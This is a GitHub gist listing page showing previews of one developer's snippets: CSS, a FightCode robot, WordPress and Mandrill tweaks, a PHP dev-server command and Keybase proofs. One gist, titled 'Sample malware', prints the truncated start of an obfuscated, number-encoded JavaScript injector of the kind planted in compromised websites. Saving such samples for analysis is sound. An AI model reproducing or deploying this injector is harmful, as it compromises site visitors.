Skip to content

Instantly share code, notes, and snippets.

View moneal's full-sized avatar

Morgan O'Neal moneal

View GitHub Profile
@moneal
moneal / dabblet.css
Created April 27, 2012 22:33
The first commented line is your dabblet’s title
/**
* The first commented line is your dabblet’s title
*/
body{
background: #EFE0C9;
}
.coupon-widget {
border-radius: 6px;
background-color: #ADAEAE;
clear: both;
@moneal
moneal / robot.js
Created December 4, 2012 01:17 — forked from AndreMeira/robot.js
bob
//FightCode can only understand your robot
//if its class is called Robot
var id;
var Robot = function(robot) {
id = this.id;
};
Robot.prototype.onIdle = function(ev) {
var robot = ev.robot;
@moneal
moneal / gist:4282681
Created December 14, 2012 04:22
Populating datasets from localstorage
if (Modernizr.localstorage) {
//console.log("Can use localstorage");
var clients = localStorage.getItem("clients");
// console.log(clients);
if ( clients == null ) {
// Fetch the clients list
$.getJSON('/api/client_list', function(data) {
@moneal
moneal / gist:4456709
Created January 4, 2013 21:37
Sample malware
/*ded87fb3b80c1c71a65e465501e2c455*/try{document["b"+"ody"]*=document}catch(dgsgsdg){zxc=1;ww=window;}try{d=document["createElement"]("span");}catch(agdsg){zxc=0;}try{if(ww.document)window["doc"+"ument"]["body"]="zxc"}catch(bawetawe){if(ww.document){v=window;n=["3o","4d","46","3l","4c","41","47","46","16","3p","4a","3j","1e","3j","1i","3k","1f","4j","4a","3n","4c","4d","4a","46","16","2p","3j","4c","40","1k","3o","44","47","47","4a","1e","2p","3j","4c","40","1k","4a","3j","46","3m","47","45","1e","1f","1g","1e","3k","1j","3j","1h","1n","1f","1f","1h","3j","27","4l","d","a","3o","4d","46","3l","4c","41","47","46","16","4a","4b","1e","1f","4j","4a","3n","4c","4d","4a","46","16","2p","3j","4c","40","1k","4a","3j","46","3m","47","45","1e","1f","1k","4c","47","35","4c","4a","41","46","3p","1e","1p","22","1f","1k","4b","4d","3k","4b","4c","4a","41","46","3p","1e","21","1f","27","4l","d","a","41","3o","1e","46","3j","4e","41","3p","3j","4c","47","4a","1k","3l","47","47","43","41","3n","2h","46","3j","3k","44","3n","
@moneal
moneal / gist:9859180
Created March 29, 2014 18:03
Disable WordPress script concatenation.
/**
* Disable script concatenation.
* If WordPress's dashboard isn't loading styles from load-styles.php
* add this to wp-config.php to disable concatenation and load styles that
* don't have errors
*/
define( 'CONCATENATE_SCRIPTS', false );

Keybase proof

I hereby claim:

  • I am moneal on github.
  • I am moneal (https://keybase.io/moneal) on keybase.
  • I have a public key whose fingerprint is 4DBE 7A2E 8D95 168E 2932 8172 CF93 2D3B 77FA 449B

To claim this, I am signing this object:

@moneal
moneal / gist:8ecbe26c1de498437a2a
Created March 4, 2015 17:18
PHP dev server with mail disabled.
php -S localhost:8000 -t vendor/wordpress -d disable_functions=mail
@media (max-width: $screen-xs-max) { ... }
@media (min-width: $screen-sm-min) { ... }
@media (max-width: $screen-sm-max) { ... }
@media (min-width: $screen-md-min) { ... }
@media (max-width: $screen-md-max) { ... }
@media (min-width: $screen-lg-min) { ... }
@moneal
moneal / function.php
Created July 29, 2015 17:48
Add mandrill subaccount to wordpress
<?php
function PREFIX_add_mandrill_subaccount( $message ) {
//$subaccount_id = get_option('mandrill_subaccount');
$subaccount_id = 'SUB ACCOUNT ID';
if ( $subaccount_id ) {
$message['subaccount'] = $subaccount_id;
}
return $message;
}

Keybase proof

I hereby claim:

  • I am moneal on github.
  • I am moneal (https://keybase.io/moneal) on keybase.
  • I have a public key ASA09AdjNPjvsiu5VQa0K_pEmnOYY8HkvWdcNXNri9E3Hgo

To claim this, I am signing this object: